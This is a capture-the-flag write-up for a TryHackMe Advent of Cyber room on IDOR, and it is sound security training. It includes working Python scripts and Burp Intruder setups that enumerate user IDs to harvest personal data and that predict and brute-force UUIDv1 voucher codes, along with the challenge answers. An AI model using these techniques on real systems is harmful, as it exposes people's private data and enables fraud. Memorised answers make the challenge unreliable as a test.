CHALLENGE INFORMATION
![]() | Platform: TryHackMe Event: Advent of Cyber 2025 Day: 05 Title: IDOR - Santa’s Little IDOR Bonus: Bonus Tasks 1 and 2 |
Description
Learn about IDOR while helping pentest the TrypresentMe website.
Summary
We discover and exploit an IDOR flaw in the TryPresentMe website, using the vulnerable endpoint to retrieve sensitive information.
For the bonus tasks on Day 05, we first search for the id_number of a child born on a specified date using two approaches: Burp’s Intruder and a custom Python script. In the second part, we identify a valid voucher code generated within a specified time window using a custom Python UUID generation script and verify those UUIDs with an automated script.

Storyline
Elves in Wareville are on alert after McSkidy’s disappearance. Parents cannot activate TryPresentMe vouchers and are receiving targeted phishing emails with nonpublic data. The support team, aided by TBFC staff, found a suspicious Sir Carrotbane account loaded with vouchers, deleted it, and recovered the vouchers. They suspect deeper vulnerabilities in the TryPresentMe site and request TBFC’s investigation and remediation.
IDOR on the Shelf
IDOR (Insecure Direct Object Reference) is an access control flaw wherein a web application permits users to specify an object identifier (for example, packageID=1001) without verifying ownership.
Because IDs are often sequential, attackers can modify the value (for example, to 22 or 23) and retrieve other users’ data – horizontal privilege escalation. Hiding or encoding the ID (for example, using a hash) does not remedy the issue; the core problem is missing authorization checks.
Proper mitigation requires the following:
- Enforcing authentication for every request (session tokens or cookies)
- Validating that the authenticated user is authorized to access the requested object
- Implementing robust authorization logic rather than relying on obscured IDs
Example:
/* URL: https://awesome.website.thm/TrackPackage?packageID=1001 */
-- Backend Query:
SELECT person, address, status FROM Packages WHERE packageID = value;
The example shows a simple SQL query that returns personal details for any package ID, illustrating why IDOR is dangerous and how it relates to broader concepts of authentication, authorization, and privilege escalation.
Questions and Answers
Question-1: What does IDOR stand for?
Insecure Direct Object Reference
Question-2: What type of privilege escalation are most IDOR cases?
Horizontal
Question-3: Exploiting the IDOR found in the view_accounts parameter, what is the user_id of the parent that has 10 children?
15
Question-4: If you enjoyed today’s room, check out our complete IDOR room!
No answer needed
Bonus Task 1
Bonus-Task-1: If you want to dive even deeper, use either the base64 or md5 child endpoint and try to find the id_number of the child born on 2019-04-17?
To make the iteration faster, consider using something like Burp’s Intruder. If you want to check your answer, click the hint on the question.
19
To accomplish this task, we first intercept an authenticated request using Burp Suite. We then copy the request and session cookie to use in a Python script that iterates over the id_number parameter.
# ~ brute_user-id-param.py
import requests
def generate_http_request(user_id):
# Define the base URL
base_url = "http://10.80.149.28/api/parents/view_accountinfo"
# Define headers
headers = {
"Host": "10.80.149.28",
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjEwLCJyb2xlIjoxLCJleHAiOjE3NjYzMzUzMzd9.l6KkNWa5bJyTC_6Z6mzQSvLx3DRKedRexKUyFzA4m78",
"Accept-Language": "en-GB,en;q=0.9",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Referer": "http://10.80.149.28/",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}
# Parameters
params = {
"user_id": user_id
}
try:
# Send GET request
response = requests.get(base_url, headers=headers, params=params)
# Print request details
print(f"Request for user_id {user_id}:")
print(f"Status Code: {response.status_code}")
print(f"Response Headers: {response.headers}")
print(f"Response Content: {response.text}\n")
return response
except requests.RequestException as e:
print(f"Error making request for user_id {user_id}: {e}")
return None
# Iterate through user IDs from 1 to 20
def main():
for user_id in range(1, 21):
generate_http_request(user_id)
if __name__ == "__main__":
main()
We iterate through IDs 1 to 20, saving the responses to a file named user-param-enum_responses.txt.
user@kali:~$ python3 brute_user-id-param.py > user-param-enum_responses.txt
user@kali:~$We then filter the results for the specified date (2019-04-17).
user@kali:~$ cat user-param-enum_responses.txt | grep 2019-04-17
Response Content: {"user_id":15,"username":"sirBreedsAlot","email":"[email protected]","firstname":"Breeds","lastname":"Alot","id_number":"456789123","address1":"Candyroad 5","address2":"","city":"hareville","state":"","postal_code":"6988","country":"HopSec Island","children":[{"child_id":11,"id_number":"HR001","first_name":"Thistle","last_name":"Alot","birthdate":"2015-03-14"},{"child_id":12,"id_number":"HR002","first_name":"Bramble","last_name":"Alot","birthdate":"2013-11-22"},{"child_id":13,"id_number":"HR003","first_name":"Clover","last_name":"Alot","birthdate":"2016-06-05"},{"child_id":14,"id_number":"HR004","first_name":"Hazel","last_name":"Alot","birthdate":"2012-09-19"},{"child_id":15,"id_number":"HR005","first_name":"Lupin","last_name":"Alot","birthdate":"2018-01-07"},{"child_id":16,"id_number":"HR006","first_name":"Poppy","last_name":"Alot","birthdate":"2014-05-28"},{"child_id":17,"id_number":"HR007","first_name":"Rowan","last_name":"Alot","birthdate":"2017-12-02"},{"child_id":18,"id_number":"HR008","first_name":"Sorrel","last_name":"Alot","birthdate":"2011-08-30"},{"child_id":19,"id_number":"HR009","first_name":"Willow","last_name":"Alot","birthdate":"2019-04-17"},{"child_id":20,"id_number":"HR010","first_name":"Bracken","last_name":"Alot","birthdate":"2010-10-11"}]}
...
user@kali:~$Alternatively, we can solve this task by intercepting an authenticated request in Burp Suite, sending it to Intruder, and iterating over the user_id parameter. We configure the attack as follows:
- Adding
user_id=§10§as a position (see #2 in figure 1) - Specifying the payload type ‘Numbers’ (see #3 in figure 1)
- Setting the Number range to sequential from 1 to 100 with a step value of 1 (see #4 in figure 1)

Figure 1: Burp Suite Intruder positions configured for user ID enumeration
Once configured, we launch the attack and examine the responses for the specified birthdate.
The match appears in the fifteenth request (see #1 in figure 2), revealing the child with "child_id":19 (see #2 in figure 2).

Figure 2: Intruder attack results revealing the target user data
Bonus Task 2
Bonus-Task-2: Want to go even further? Using the /parents/vouchers/claim endpoint, find the voucher that is valid on 20 November 2025.
Insider information tells you that the voucher was generated exactly on the minute somewhere between 20:00 - 24:00 UTC that day. What is the voucher code? If you want to check your answer, click the hint on the question.
22643e00-c655-11f0-ac99-026ccdf7d769
We begin by analyzing the available information:
Time Range: 2025-11-20 20:00–24:00 (UTC), exactly on the minute (2025-11-20_20:00:00, 2025-11-20_20:01:00, 2025-11-20_20:02:00, etc.)
UUIDs are version 1, generated by the same system.
Using the example UUID generated by the target system, 37f0010f-a489-11f0-ac99-026ccdf7d769:
37f0010f-a489-11f0 – timestamp (~2025-10-08 20:56:10.443598.3 UTC) plus version 1
- No need to change the version, but we must adjust the time range.
ac99 – Composed of two bytes: Clock Sequence + Variant
- Clock sequence is a random number but remains constant between generations.
- Variant remains unchanged.
026ccdf7d769 – Node value (MAC address): remains constant on the same system.
In summary, we iterate over two dynamic parts:
- Time range: one-minute increments across the four-hour window
- Clock sequence, randomly generated for each UUID generation session
To narrow the scope, we iterate only over clock sequences already generated by the target system.
We collect all sequences displayed by the site: ac99, 93d8, ab3a, 8acc, 889c, 96e7, be28, b7e8, b231, bb84, and 8ad2.
We create a script to generate the UUIDs:
# ~ gen_uuids.py
import datetime
import uuid
# -------------------------------------------------
# Fixed parameters that stay the same for the whole run
# -------------------------------------------------
# FIXED 48-bit node - fixed MAC address - same system (MAC=02:6c:cd:f7:d7:69)
NODE = bytes.fromhex('026ccdf7d769')
# UUID epoch offset (Gregorian 1582-10-15 → Unix 1970-01-01)
EPOCH_OFFSET = 0x01B21DD213814000
# -------------------------------------------------
# Time window: 20:00-23:59 on 20 Nov 2025 (UTC) = 4 hour window
# -------------------------------------------------
START = datetime.datetime(2025, 11, 20, 20, 0, tzinfo=datetime.timezone.utc)
MINUTES = 4 * 60
# -------------------------------------------------
# Previously generated fourth-block values - the clock sequences with the fixed variant
# -------------------------------------------------
FOURTH_BLOCKS = ['ac99', '93d8', 'ab3a', '8acc', '889c','96e7', 'be28', 'b7e8', 'b231', 'bb84','8ad2']
def make_uuid(minute_index: int, fourth_block: str) -> uuid.UUID:
"""
Build a UUID v1 for the given minute offset and a forced fourth block.
The fourth block already contains the variant bits (the leading "10").
"""
# ----- timestamp (100-ns units) -----
unix_sec = int((START + datetime.timedelta(minutes=minute_index)).timestamp())
# exact minute → no sub-tick
ts_100ns = unix_sec * 10_000_000 + EPOCH_OFFSET
# ----- split timestamp into the three time fields -----
time_low = ts_100ns & 0xffffffff
time_mid = (ts_100ns >> 32) & 0xffff
time_hi = (ts_100ns >> 48) & 0x0fff
# set version = 1 (SAME as the one used by the system)
time_hi_and_version = time_hi | (1 << 12)
# ----- fourth block (already includes variant) -----
# Convert the 4-hex-digit string to two bytes
fourth_bytes = bytes.fromhex(fourth_block)
# ----- assemble the 16-byte UUID -----
raw = (
time_low.to_bytes(4, 'big') +
time_mid.to_bytes(2, 'big') +
time_hi_and_version.to_bytes(2, 'big') +
fourth_bytes +
NODE
)
return uuid.UUID(bytes=raw)
# -------------------------------------------------
# Generate the UUIDs
# -------------------------------------------------
for minute in range(MINUTES):
for block in FOURTH_BLOCKS:
print(make_uuid(minute, block))
We test the script to verify it functions correctly:
user@kali:~$ python3 gen_uuids.py
7ec26000-c64b-11f0-ac99-026ccdf7d769
7ec26000-c64b-11f0-93d8-026ccdf7d769
7ec26000-c64b-11f0-ab3a-026ccdf7d769
...
user@kali:~$We then export the generated UUIDs (2,640 total) to a text file:
user@kali:~$ python3 gen_uuids.py > uuids.txt
user@kali:~$ cat uuids.txt| wc -l
2640
user@kali:~$Finally, we import this UUID set into Burp Suite to brute-force their validity against the API endpoint – /api/parents/vouchers/claim. First, we create a test voucher request:

Figure 3: Initiating a test voucher claim request
We intercept this request in Burp Suite and send it to Intruder. Note the following relevant fields:
- #1: API endpoint
- #2: Request data (populated with sample data)
- #3: Response text

Figure 4: Intercepted HTTP request details for the voucher claim endpoint
Once in Intruder:
- We set the attack type to Sniper attack
- We specify the iteration value – the
test-voucher-codesample data – and add it to positions:§test-voucher-code§ - We load our payload (the generated UUID list) via Payloads > Payload configuration > Load…, selecting the
uuids.txtfile
We then run the attack by clicking Start attack.

Figure 5: Burp Suite Intruder configured for UUID-based voucher enumeration
We wait for a response with status code 200 rather than 404, which indicates “Voucher not found.”
Unfortunately, because the free version of Burp Suite is heavily rate-limited, we find nothing even after running the attack for more than ten minutes.
We pivot to a new approach, performing the enumeration manually via a Python script. We use the same HTTP request headers and body from Burp Suite, along with the same set of pre-generated UUIDs:
# ~ verify-uuids.py
import requests
import json
def send_voucher_claim_request(voucher_code):
"""
Send a POST request to claim a voucher
"""
# Request configuration
url = 'http://10.80.149.28/api/parents/vouchers/claim'
# Headers from the original request
headers = {
'Host': '10.80.149.28',
'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjEwLCJyb2xlIjoxLCJleHAiOjE3NjYzNTAwNDd9.cbC4HZ4Z2qMH8J9FjUZ8ZkCdz66CeO2q1RGyFRa6YYI',
'Accept-Language': 'en-GB,en;q=0.9',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
'Content-Type': 'application/json',
'Accept': '*/*',
'Origin': 'http://10.80.149.28',
'Referer': 'http://10.80.149.28/',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive'
}
# Request payload
payload = {
'code': voucher_code
}
try:
# Send POST request
response = requests.post(
url,
headers=headers,
data=json.dumps(payload),
timeout=10 # Add a timeout to prevent hanging
)
# Return response details
return {
'code': voucher_code,
'status_code': response.status_code,
'response_text': response.text
}
except requests.RequestException as e:
# Handle network-related errors
return {
'code': voucher_code,
'error': str(e)
}
def main():
# File path for UUIDs
uuid_file = 'uuids.txt'
# Results storage
results = []
# Read UUIDs from file
try:
with open(uuid_file, 'r') as file:
uuids = [line.strip() for line in file if line.strip()]
except FileNotFoundError:
print(f"Error: File {uuid_file} not found.")
return
# Process UUIDs
for voucher_code in uuids:
# Send request and store result
result = send_voucher_claim_request(voucher_code)
results.append(result)
# Print result for each UUID
if 'error' in result:
print(f"Error for {result['code']}: {result['error']}")
else:
print(f"UUID: {result['code']}, Status: {result['status_code']}")
if __name__ == '__main__':
main()
Once prepared, we run the script. It completes in only a few minutes and identifies a valid voucher UUID:
user@kali:~$ python verify-uuids.py
UUID: 7ec26000-c64b-11f0-ac99-026ccdf7d769, Status: 404
...
UUID: fea0f800-c654-11f0-8ad2-026ccdf7d769, Status: 404
UUID: 22643e00-c655-11f0-ac99-026ccdf7d769, Status: 200
UUID: 22643e00-c655-11f0-93d8-026ccdf7d769, Status: 404
UUID: 22643e00-c655-11f0-ab3a-026ccdf7d769, Status: 404
...
user@kali:~$